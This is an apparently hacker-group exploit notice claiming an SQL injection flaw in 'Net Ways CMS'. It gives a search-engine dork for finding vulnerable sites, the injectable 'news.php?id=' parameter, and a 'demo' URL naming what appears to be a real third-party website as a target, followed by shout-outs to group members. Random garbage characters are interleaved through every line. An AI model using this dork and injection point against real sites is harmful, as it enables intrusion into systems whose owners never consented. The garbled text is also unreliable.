################################################################################??########
+ G6 ^3 G" w! v7 N$ X# + G% e( `! {5 f' i5 R9 ~9 k
# Exploit Title : Net Ways Cms Sql Injection Vulnerability 0 E7 J" e5 { A/ }+ \6 x+ ]
# y% ]* j# r- a! e" ` i
# Author : IrIsT.Ir
" K( |6 a7 D9 _# m# ! V) I1 v W5 N. Z- g) y
# Discovered By : Am!r
" x! H2 P' s2 `% e: V7 D- L' c# , T7 F7 ~- S' s9 T9 f5 K5 d6 T
# Home : http://IrIsT.Ir/forum : x8 G3 F; Q* \" E$ K% S+ n
#
2 P3 j" v+ o! J6 w# Software Link : http://www.netways.com/ www.political-security.com" E; v& {3 r3 K9 S! [
# 9 |: c" s" d* H6 V' h
# Security Risk : High s2 F3 A' x4 i# q: e# q0 H. g3 L
#
$ X/ ?, }: }% b- X) U# Version : All Version % H* e" x% M- _+ W" O
# ! o" k8 V: \. }
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
9 A, l) a. _: g! i) G0 s9 Q# ) C& c b" W- E+ ~
# Dork : intext:"Designed & developed by NetWays"
7 m# c0 q1 R6 [( b# n" z# 2 K) Z/ O5 f5 i7 C" v, |' [9 S
################################################################################??######## + B" a7 s, T# l& }- L3 V+ c* r
#
: D- d- z& M8 {/ e( D/ U# Expl0iTs : 9 J; H2 t' ~& v( _* S6 S+ r
# ( k6 H5 l$ C. `+ v- ^
# http://target.com/news.php?id=[Sql]
5 w! D, ~" ` ~& E4 G, [% d' ^#
( |' N8 n1 |) R0 w# x' x5 I# ) }% `# y+ U9 W4 _# Q" G: R
# D3mo :
) Q& o0 |4 d: _ H- E# r6 o! a6 J# " V$ a: ]7 s, Z7 D7 t( `4 T/ x
# http://compagnieparento.com/news.php?id=7[Sql]
) S1 h/ ?+ M+ |" G. u/ [#
9 H. g; m1 l- ^6 ?0 j################################################################################??########
, y' ?0 M9 w9 J#
" ^+ c7 g; E. h* P# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
* A5 e; K: b. v0 T' H7 N1 z#
2 f: T# L" j3 K6 o) X& j, N( C# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r : G$ I, F5 @1 f7 j n( i
#
4 f) S6 S5 i8 Q8 G/ |+ T. p" v1 z" V# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum ; v! H% }1 Z$ k3 U7 [# z
# - H5 i4 z: i9 d
################################################################################??######## |